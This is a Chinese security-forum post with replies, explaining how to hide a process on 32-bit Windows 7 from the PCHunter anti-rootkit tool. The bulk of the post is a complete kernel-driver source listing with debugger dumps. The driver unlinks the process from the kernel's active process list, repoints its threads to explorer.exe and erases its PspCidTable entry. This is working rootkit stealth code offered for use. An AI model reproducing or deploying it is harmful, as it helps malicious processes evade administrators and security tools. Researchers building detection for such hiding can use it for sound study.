首页
社区
课程
招聘
[原创]win7 32位进程隐藏(过PChunter检测)
发表于: 2017-10-20 14:31 19209

[原创]win7 32位进程隐藏(过PChunter检测)

2017-10-20 14:31
19209

总结一下进程隐藏的一些基本套路吧,适合萌新。

       关于进程隐藏,网上说的最多的就是hook NtQuerySystemInformation吧,要么就是在内核去操作ActiveProcessLinks链表,这其实都是一个原理,都是去操作内核的活动进程链表,这个方法也着实有效

kd> dt _eprocess
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER
   +0x0a8 ExitTime         : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
	…

        关于进程的活动链表:ActiveProcessLinks为双向循环链表,隐藏时只需获取需要隐藏进程的EPROCESS结构,进而获取循环链表地址,做链表删除结点操作,将当前进程的结点结构从链表中删除即可达到隐藏当前进程的目的。
         另外,内核中的全局变量PsActiveProcessHead也指向这个系统的EPROCESS链表。
kd> ln PsActiveProcessHead
(83f5cf18)   nt!PsActiveProcessHead   |  (83f5cf20)   nt!PsReaperWorkItem
Exact matches:
    nt!PsActiveProcessHead = 
kd> dd 83f5cf18
83f5cf18  85fe37d8 83bf6d30 00000000 00000000
kd> !object 85fe37d8-b8
Object: 85fe3720  Type: (85fe3cb0) Process
    ObjectHeader: 85fe3708 (new version)
HandleCount: 3  PointerCount: 140
         可见PsActiveProcessHead为系统进程system的ActiveProcessLinks字段的值。但是,单凭这一个操作只能在任务管理器里面隐藏进程,pchunter下会把你挖出来还把你标红。
         除了摘除链表外,还需要操作进程的所有线程对象。获取进程的所有线程对象(ThreadListHead字段指向当前进程的线程链表),在线程对象中有一个指向其进程EPROCESS的指针,将指针修改为explorer.exe的EPROCESS地址;注意不要直接清零,而是选择一个确实存在EPROCESS地址,不然即使不蓝屏,隐藏的进程也死了。这一步完成后接着再来。。
         最后一步,抹去PspCidTable中记录的隐藏进程所对应的EPROCESS地址,直接在对应地址上填0即可,当然在进程结束时需要将该数值写会,应为系统在进程结束时会检查PspCidTable中对应的进程对象,没有的话直接蓝屏。这里就需要定位PspCidTable的地址,和如何在表中找到进程对象。
        定位PspCidTable的方法当然是通过特征码的扫描,通过PsLookUpProcessByProcessId定位即可;
kd> u PsLookupProcessByProcessId l 20
nt!PsLookupProcessByProcessId:
84076575 8bff            mov     edi,edi
84076577 55              push    ebp
84076578 8bec            mov     ebp,esp
8407657a 83ec0c          sub     esp,0Ch
840765a6 8a03            mov     al,byte ptr [ebx]
…
840765ac 750b            jne     nt!PsLookupProcessByProcessId+0x44 (840765b9)
840765ae 8bd3            mov     edx,ebx
840765b0 e83d8ee3ff      call    nt!ObReferenceObjectSafe (83eaf3f2)
840765b5 84c0            test    al,al
840765b7 7502            jne     nt!PsLookupProcessByProcessId+0x46 (840765bb)
840765b9 33db            xor     ebx,ebx
840765bb a134cff583      mov     eax,dword ptr [nt!PspCidTable (83f5cf34)]
840765c0 33c9            xor     ecx,ecx
…

83f5cf34指向一个_handle_table结构体
kd> dt _handle_table 83f5cf34
nt!_HANDLE_TABLE
   +0x000 TableCode        : 0x87a01210
   +0x004 QuotaProcess     : (null) 
   +0x008 UniqueProcessId  : 0x80000020 Void
   +0x00c HandleLock       : _EX_PUSH_LOCK
   +0x010 HandleTableList  : _LIST_ENTRY [ 0x80000300 - 0x80000024 ]
   +0x018 HandleContentionEvent : _EX_PUSH_LOCK
   +0x01c DebugInfo        : (null) 
   +0x020 ExtraInfoPages   : 0n0
   +0x024 Flags            : 0
   +0x024 StrictFIFO       : 0y0
   +0x028 FirstFreeHandle  : 0
   +0x02c LastFreeHandleEntry : 0x00000113 _HANDLE_TABLE_ENTRY
   +0x030 HandleCount      : 0
   +0x034 NextHandleNeedingPool : 0
   +0x038 HandleCountHighWatermark : 0x83f0d35a
TableCode的值为PspCidTable的一个指针
kd> dd 0x87a01210 
87a01210 9453a001 00000000 00000000 00000000

可以看到指针指向的地址是0x9453a001,注意这个地址最低位表示当前表的级数,由此可见当前系统PspCidTable有两层,我们掩去最低位
kd> dd 9453a000
9453a000  87a04000 9454b000 00000000 00000000
得到两个地址87a04000,9454b000即为一级表的地址,
kd> dd 87a04000 
87a04000  00000000 fffffffe 85fe3721 00000000
87a04010  85fe3419 00000000 85ffebb9 00000000
87a04020  85ffe8e1 00000000 85ffe609 00000000
87a04030  85fefac9 00000000 85fef7f1 00000000
87a04040  85fef519 00000000 85fef241 00000000
87a04050  85ff0021 00000000 85ff0d49 00000000
87a04060  85ff0a71 00000000 85ff0799 00000000
87a04070  85ff04c1 00000000 85ff1021 00000000

typedef struct _HANDLE_TABLE_ENTRY
{
    union
    {
        PVOID Object;
        UINT32 ObAttributes;
        struct _HANDLE_TABLE_ENTRY *InfoTable;
        UINT32 Value;
    };
    union
    {
        UINT32 GrantedAccess;
        struct
        {
            USHORT GrantedAccessIndex;
            USHORT CreatorBackTraceIndex;
        };
        INT32 NextFreeTableEntry;
    };
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;


        每8个字节为一组,比如85fe3721 00000000为一组,85fe3721为对象,00000000表示对象的一些属性,这一组的索引为1,故其代表的进程pid为4即为system 在解析PspCidTable时需要考虑PspCidTable的多级结构,在查询时注意表中的值需要抹掉低三位(x & 0xfffffff8)后才是真正的对象,同样在驱动退出需要恢复时需要将对象的第三位还原(x | 0x00000001)

最后附上代码
/************************************************************************
* 文件名称:hide_process.cpp
* 作    者:Justgoon
* 完成日期:
*************************************************************************/
#include "hide_process.h"

//需要隐藏进程pid
#define HIDE_PID 2544
//explorer进程pid
#define EXPLORER_PID 1840

PEPROCESS       pEpro_hide;
PEPROCESS       pEpro_explorer;
PLIST_ENTRY     threadLink;
PLIST_ENTRY     hide_activeProcessLink;
ULONG*          addressOfObjInPspCidTable;

#pragma PAGEDCODE
NTSTATUS EnumTable1(ULONG uTableCode)
{
    ULONG               uIndex = 1;
    PVOID               data = NULL;
    ANSI_STRING         ANSI_ProcessName = { 0 };
    UNICODE_STRING      UNICODE_ProcessName = { 0 };
    PHANDLE_TABLE_ENTRY pHandleTableEntry = NULL;

    pHandleTableEntry = (PHANDLE_TABLE_ENTRY)((ULONG)(*(PULONG)uTableCode) + 8);
    for (uIndex = 1; uIndex < 0x200; uIndex++)
    {
        if (pHandleTableEntry->Object != NULL)
        {
            PEPROCESS pCurEProcess = (PEPROCESS)(((ULONG)pHandleTableEntry->Object) & 0xFFFFFFF8);
            if (pEpro_hide == pCurEProcess)
            {
                *(ULONG*)pHandleTableEntry = (ULONG)0x00000000;
                addressOfObjInPspCidTable = (ULONG*)pHandleTableEntry;
                return STATUS_SUCCESS;
            }
        }
        pHandleTableEntry++;
    }
    return STATUS_UNSUCCESSFUL;
}

#pragma PAGEDCODE
NTSTATUS EnumTable2(ULONG uTableCode)
{
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    do
    {
        status = EnumTable1(uTableCode);
        if (NT_SUCCESS(status))
        {
            return status;
        }
        uTableCode += 4;
    } while (*(PULONG)uTableCode != 0);
    return status;
}

#pragma PAGEDCODE
NTSTATUS EnumTable3(ULONG uTableCode)
{
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    do
    {
        status = EnumTable2(uTableCode);
        if (NT_SUCCESS(status))
        {
            return status;
        }
        uTableCode += 4;
    } while (*(PULONG)uTableCode != 0);
    return status;
}

#pragma PAGEDCODE
ULONG GetPspCidTableValue()
{
    PVOID           pPsLookupProcessByProcessIdAddress = NULL;
    ULONG           ulPspCidTableValue = 0;
    ULONG           uIndex = 0;
    UNICODE_STRING  ustrFuncName;

    RtlInitUnicodeString(&ustrFuncName, L"PsLookupProcessByProcessId");
    pPsLookupProcessByProcessIdAddress = MmGetSystemRoutineAddress(&ustrFuncName);
    if (pPsLookupProcessByProcessIdAddress == NULL)
    {
        return ulPspCidTableValue;
    }
    KdPrint(("PsLookupProcessByProcessId->%08X", pPsLookupProcessByProcessIdAddress));
    for (uIndex = 0; uIndex < 0x1000; uIndex++)
    {
        if (*((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex)) == 0x8B &&
            *((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 1)) == 0x3D &&
            *((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 6)) == 0xE8)
        {
            KdPrint(("Found PspCidTable OK!!"));
            ulPspCidTableValue = *((PULONG)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 2));
            break;
        }
    }
    return ulPspCidTableValue;
}

#pragma PAGEDCODE
NTSTATUS EnumPspCidTable()
{
    ULONG           uFlag = 0;
    ULONG           uTableCode = 0;
    ULONG           ulPspCidTable = 0;
    PVOID           data = NULL;
    NTSTATUS        status = STATUS_SUCCESS;
    PHANDLE_TABLE   pHandleTable = NULL;

    ulPspCidTable = GetPspCidTableValue();
    if (ulPspCidTable == 0)
    {
        return STATUS_UNSUCCESSFUL;
    }

    pHandleTable = (PHANDLE_TABLE)(*(PULONG)ulPspCidTable);
    KdPrint(("pHandleTable->%p", pHandleTable));

    uTableCode = (pHandleTable->TableCode) & 0xFFFFFFFC;
    uFlag = (pHandleTable->TableCode) & 0x03;
    KdPrint(("uTableCode->%08X", uTableCode));

    switch (uFlag)
    {
        case 0:
        {
            status = EnumTable1(uTableCode);
            break;
        }
        case 1:
        {
            status = EnumTable2(uTableCode);
            break;
        }
        case 2:
        {
            status = EnumTable3(uTableCode);
            break;
        }
    }
    return status;
}

#pragma PAGEDCODE
NTSTATUS hide_process_by_pid(ULONG  pid_hide)
{
    PLIST_ENTRY curItem;
    PKTHREAD    pKthread;
    BOOLEAN     isFound = FALSE;
    NTSTATUS    status = STATUS_SUCCESS;

    status = PsLookupProcessByProcessId((HANDLE)pid_hide, &pEpro_hide);
    if (!NT_SUCCESS(status))
    {
        return status;
    }
    status = PsLookupProcessByProcessId((HANDLE)EXPLORER_PID, &pEpro_explorer);
    if (!NT_SUCCESS(status))
    {
        return status;
    }

    threadLink = (PLIST_ENTRY)((char*)pEpro_hide + 0x188);
    if (!MmIsAddressValid(threadLink))
    {
        KdPrint(("threadLink found err"));
        return STATUS_UNSUCCESSFUL;
    }

    hide_activeProcessLink = (PLIST_ENTRY)((char*)pEpro_hide + 0x0b8);
    if (!MmIsAddressValid(hide_activeProcessLink))
    {
        KdPrint(("activeProcessLink found err"));
        return STATUS_UNSUCCESSFUL;
    }

    //遍历进程中的线程,修改线程中eprocess指针,使其指向explorer
    curItem = threadLink->Flink;
    while (curItem)
    {
        pKthread = (PKTHREAD)((char*)curItem - 0x268);
        if (MmIsAddressValid(pKthread))
        {
            *(ULONG*)((char*)pKthread + 0x150) = (ULONG)pEpro_explorer;
        }
        curItem = curItem->Flink;
        if (curItem == threadLink->Flink)
        {
            break;
        }
    }

    //断activeProcessLink链表
    hide_activeProcessLink->Blink->Flink = hide_activeProcessLink->Flink;
    hide_activeProcessLink->Flink->Blink = hide_activeProcessLink->Blink;

    //抹去PspCidTable中隐藏进程的eprocess地址
    status = EnumPspCidTable();
    if (!NT_SUCCESS(status))
    {
        return status;
    }
    return STATUS_SUCCESS;
}

VOID DriverUnload(IN PDRIVER_OBJECT pDriverObject)
{
    PKTHREAD    pKthread;
    PLIST_ENTRY curItem;
    PLIST_ENTRY activeProcessLink;
    PLIST_ENTRY activeProcessLinkNext;

    //恢复PspCidTable
    if (MmIsAddressValid(addressOfObjInPspCidTable))
    {
        *addressOfObjInPspCidTable = (ULONG)pEpro_hide | 0x00000001;
    }

    //恢复活动进程链
    activeProcessLink = (PLIST_ENTRY)((char*)pEpro_explorer + 0x0b8);
    activeProcessLinkNext = activeProcessLink->Flink;
    //循环链表的插入
    activeProcessLink->Flink = hide_activeProcessLink;
    hide_activeProcessLink->Blink = activeProcessLink;
    hide_activeProcessLink->Flink = activeProcessLinkNext;
    activeProcessLinkNext->Blink = hide_activeProcessLink;

    //恢复线程中eprocess指针
    if (MmIsAddressValid(threadLink))
    {
        curItem = threadLink->Flink;
        while (curItem)
        {
            pKthread = (PKTHREAD)((char*)curItem - 0x268);
            if (MmIsAddressValid(pKthread))
            {
                *(ULONG*)((char*)pKthread + 0x150) = (ULONG)pEpro_hide;
            }
            curItem = curItem->Flink;
            if (curItem == threadLink->Flink)
            {
                break;
            }
        }
    }
    KdPrint(("DriverUnload"));
}

#pragma INITCODE 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,
    IN PUNICODE_STRING pRegistryPath)
{
    pDriverObject->DriverUnload = DriverUnload;
    KdPrint(("DriverEntry"));
    return hide_process_by_pid(HIDE_PID);
}

/************************************************************************
* 文件名称:hide_process.h                                               
* 作    者:Justgoon
* 完成日期:
*************************************************************************/

#include 
#include 

#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
#define INITCODE code_seg("INIT")

#define PAGEDDATA data_seg("PAGE")
#define LOCKEDDATA data_seg()
#define INITDATA data_seg("INIT")

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _HANDLE_TABLE_ENTRY
{
    union
    {
        PVOID Object;
        UINT32 ObAttributes;
        struct _HANDLE_TABLE_ENTRY *InfoTable;
        UINT32 Value;
    };
    union
    {
        UINT32 GrantedAccess;
        struct
        {
            USHORT GrantedAccessIndex;
            USHORT CreatorBackTraceIndex;
        };
        INT32 NextFreeTableEntry;
    };
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;

typedef struct _HANDLE_TRACE_DB_ENTRY
{
    CLIENT_ID ClientId;
    PVOID Handle;
    ULONG Type;
    VOID * StackTrace[16];
} HANDLE_TRACE_DB_ENTRY, *PHANDLE_TRACE_DB_ENTRY;

typedef struct _HANDLE_TRACE_DEBUG_INFO
{
    LONG RefCount;
    ULONG TableSize;
    ULONG BitMaskFlags;
    FAST_MUTEX CloseCompactionLock;
    ULONG CurrentStackIndex;
    HANDLE_TRACE_DB_ENTRY TraceDb[1];
} HANDLE_TRACE_DEBUG_INFO, *PHANDLE_TRACE_DEBUG_INFO;

typedef struct _HANDLE_TABLE {
    ULONG TableCode;
    PEPROCESS QuotaProcess;
    PVOID UniqueProcessId;
    EX_PUSH_LOCK HandleLock;
    LIST_ENTRY HandleTableList;
    EX_PUSH_LOCK HandleContentionEvent;
    PHANDLE_TRACE_DEBUG_INFO DebugInfo;
    LONG ExtraInfoPages;
    ULONG Flags;
    ULONG FirstFreeHandle;
    PHANDLE_TABLE_ENTRY LastFreeHandleEntry;
    LONG HandleCount;
    ULONG NextHandleNeedingPool;
} HANDLE_TABLE, *PHANDLE_TABLE;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
                     IN PUNICODE_STRING RegistryPath);
          我自己在测试的时候隐藏notepad 和calc没有问题,但是在隐藏dbgview时虽然它没死,但是好像还是影响到了dbgview导致他没输出,这应该是该线程里eprocess指针导致的问题。 这代码只能在win7 32位下跑啊,代码本身没有什么难度,有几个地方用了硬编码,需要隐藏的进程id 和 explorer的id填在开头。主要的还是这个思路,pchunter一直没有动真格的来检测进程,大家如果感兴趣的话可以按我说的那三个方法,无非就是改几个内存,在windbg里面试一下,不用敲代码都可以


[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 2
支持
分享
最新回复 (20)
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
2
文章后半段格式化丢了
2017-10-20 14:36
0
雪    币: 433
活跃值: (891)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
cvcvxk 文章后半段格式化丢了
好了,我这编辑的时候浏览器滚动条一致抖
2017-10-20 14:42
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
4



Justgoon

好了,我这编辑的时候浏览器滚动条一致抖[em_4]
看雪的这个新版,不知道为何总出一些问题。

2017-10-20 14:43
0
雪    币: 975
活跃值: (12)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
代码也被截断了...哈哈哈
2017-10-20 14:44
0
雪    币: 433
活跃值: (891)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
6
flyskiller 代码也被截断了...哈哈哈
潜水多年,第一次发帖。。。
2017-10-20 14:49
0
雪    币: 3700
活跃值: (3817)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
感谢分享!
2017-10-20 15:05
0
雪    币: 12
活跃值: (388)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
Xuetr好久也没更新了
2017-10-24 10:44
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
9
MaMy Xuetr好久也没更新了
现在的名字叫做PcHunter,隐藏进程作为技术讨论还可以,实用性基本上已经没有了
2017-10-25 07:36
0
雪    币: 355
活跃值: (276)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
10
mark
2017-10-25 08:41
0
雪    币: 6124
活跃值: (4471)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
11
楼主讲得那么详细都排那么后面,支持一下。毕竟隐藏进程是已经过气了。
2017-11-14 04:57
0
雪    币: 310
活跃值: (2227)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
mark
2017-12-1 11:13
0
雪    币: 52
活跃值: (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
      完全看不明    ,确定能    隐藏麽  ?

..第一次 
 
2017-12-22 01:43
0
雪    币: 341
活跃值: (133)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
14
支持!!!
2017-12-22 09:25
0
雪    币: 799
活跃值: (457)
能力值: ( LV12,RANK:280 )
在线值:
发帖
回帖
粉丝
15
csrss也可以枚举进程
2017-12-22 23:05
0
雪    币: 441
活跃值: (995)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
16
感谢分享!
2018-1-17 15:18
0
雪    币: 4590
活跃值: (1721)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
17
代码少吧...
2018-8-24 11:02
0
雪    币: 6314
活跃值: (911)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
18
感谢分享
2018-10-7 23:36
0
雪    币: 3
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
感谢分享,看雪有你,春暖花开.
2018-10-8 01:38
0
雪    币: 1053
活跃值: (602)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
感谢Lz分享
2020-8-4 15:36
0
雪    币: 441
活跃值: (995)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
21
隐藏完了,你的进程也基本完了
2020-8-4 17:20
0
游客
登录 | 注册 方可回帖
返回
//